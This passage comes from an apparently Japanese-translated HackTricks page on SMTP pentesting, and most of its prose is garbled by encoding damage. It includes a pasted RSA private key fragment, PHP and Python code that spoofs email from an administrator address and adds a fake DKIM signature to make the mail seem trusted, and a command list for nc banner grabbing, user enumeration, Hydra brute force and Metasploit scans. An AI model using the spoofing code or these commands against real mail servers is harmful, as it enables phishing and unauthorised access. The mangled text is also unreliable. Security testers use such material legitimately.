ZBTeqxDxAkEA3gHyUtVenuTGClgYpiwefaTbGfYadh0z2KmiVcRqWzz3hDUEWxhc
GNtFT8wzLcmRHB4SQYUaS0Df9mpvwvdB+QJBALGv9Qci39L0j/15P7wOYMWvpwOf
422+kYxXcuKKDkWCTzoQt7yXCRzmvFYJdznJCZdymNLNu7q+p2lQjxsUiWECQQCI
Ms2FP91ywYs1oWJN39c84byBKtiFCdla3Ib48y0EmFyJQTVQ5ZrqrOrSz8W+G2Do
zRIKHCxLapt7w0SZabORAkEAxvm5pd2MNVqrqMJHbukHY1yBqwm5zVIYr75eiIDP
K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
-----END RSA PRIVATE KEY-----
{% endhint %}
ãŸãã¯æåã§è¡ãããšãã§ããŸãïŒ
{% tabs %} {% tab title="PHP" %}
# ããã¯çœ²åãããŠããªãã¡ãã»ãŒãžãéä¿¡ããŸã
mail("your_email@gmail.com", "ãã¹ã件åïŒ", "ããã«ã¡ã¯ïŒããã¯ãã¹ãã§ã", "From: administrator@victim.com");
{% endtab %}
{% tab title="Python" %}
# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.py
import os
import dkim #pip3 install dkimpy
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
# Set params
destination="destination@gmail.com"
sender="administrator@victim.com"
subject="Test"
message_html="""
<html>
<body>
<h3>This is a test, not a scam</h3>
<br />
</body>
</html>
"""
sender_domain=sender.split("@")[1]
# Prepare postfix
os.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf")
os.system("systemctl restart postfix")
# Generate DKIM keys
dkim_private_key_path="dkimprivatekey.pem"
os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null")
with open(dkim_private_key_path) as fh:
dkim_private_key = fh.read()
# Generate email
msg = MIMEMultipart("alternative")
msg.attach(MIMEText(message_html, "html"))
msg["To"] = destination
msg["From"] = sender
msg["Subject"] = subject
headers = [b"To", b"From", b"Subject"]
msg_data = msg.as_bytes()
# Sign email with dkim
## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)
dkim_selector="s1"
sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers)
msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode()
msg_data = msg.as_bytes()
# Use local postfix relay to send email
smtp="127.0.0.1"
s = smtplib.SMTP(smtp)
s.sendmail(sender, [destination], msg_data)
{% endtab %} {% endtabs %}
More info
ãããã®ä¿è·ã«é¢ãã詳现æ å ±ã¯ https://seanthegeek.net/459/demystifying-dmarc/ ã§èŠã€ããŠãã ããã
Other phishing indicators
- ãã¡ã€ã³ã®å¹Žéœ¢
- IPã¢ãã¬ã¹ãæããªã³ã¯
- ãªã³ã¯æäœæè¡
- çãããïŒäžè¬çã§ãªãïŒæ·»ä»ãã¡ã€ã«
- å£ããã¡ãŒã«ã³ã³ãã³ã
- ã¡ãŒã«ããããŒã®å€ãšç°ãªãå€ã®äœ¿çš
- æå¹ã§ä¿¡é Œã§ããSSL蚌ææžã®ååš
- ãŠã§ãã³ã³ãã³ããã£ã«ã¿ãªã³ã°ãµã€ããžã®ããŒãžã®æåº
Exfiltration through SMTP
ããŒã¿ãSMTPçµç±ã§éä¿¡ã§ããå Žå㯠ãããèªãã§ãã ããã
Config file
Postfix
éåžžãã€ã³ã¹ããŒã«ãããŠããå Žåã/etc/postfix/master.cf
ã«ã¯ãäŸãã°æ°ããã¡ãŒã«ããŠãŒã¶ãŒã«ãã£ãŠåä¿¡ããããšãã«å®è¡ãããã¹ã¯ãªãããå«ãŸããŠããŸããäŸãã°ãflags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}
ãšããè¡ã¯ããŠãŒã¶ãŒmarkãæ°ããã¡ãŒã«ãåä¿¡ããå Žåã«/etc/postfix/filtering
ãå®è¡ãããããšãæå³ããŸãã
Other config files:
sendmail.cf
submit.cf
åèæç®
- https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/
- https://www.reddit.com/r/HowToHack/comments/101it4u/what_could_hacker_do_with_misconfigured_smtp/
HackTricks èªåã³ãã³ã
Protocol_Name: SMTP #Protocol Abbreviation if there is one.
Port_Number: 25,465,587 #Comma separated if there is more than one.
Protocol_Description: Simple Mail Transfer Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.
https://book.hacktricks.xyz/pentesting/pentesting-smtp
Entry_2:
Name: Banner Grab
Description: Grab SMTP Banner
Command: nc -vn {IP} 25
Entry_3:
Name: SMTP Vuln Scan
Description: SMTP Vuln Scan With Nmap
Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}
Entry_4:
Name: SMTP User Enum
Description: Enumerate uses with smtp-user-enum
Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}
Entry_5:
Name: SMTPS Connect
Description: Attempt to connect to SMTPS two different ways
Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587
Entry_6:
Name: Find MX Servers
Description: Find MX servers of an organization
Command: dig +short mx {Domain_Name}
Entry_7:
Name: Hydra Brute Force
Description: Need Nothing
Command: hydra -P {Big_Passwordlist} {IP} smtp -V
Entry_8:
Name: consolesless mfs enumeration
Description: SMTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'
ããªãã®ãŠã§ãã¢ããªããããã¯ãŒã¯ãã¯ã©ãŠãã«å¯Ÿããããã«ãŒã®èŠç¹ãåŸã
å®éã®ããžãã¹ã«åœ±é¿ãäžããé倧ã§æªçšå¯èœãªè匱æ§ãèŠã€ããŠå ±åããŸãã 20以äžã®ã«ã¹ã¿ã ããŒã«ã䜿çšããŠæ»æé¢ããããã³ã°ããç¹æš©ãææ Œãããã»ãã¥ãªãã£åé¡ãèŠã€ããèªååããããšã¯ã¹ããã€ãã䜿çšããŠéèŠãªèšŒæ ãåéããããªãã®åªåã説åŸåã®ããå ±åæžã«å€ããŸãã
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
AWSãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã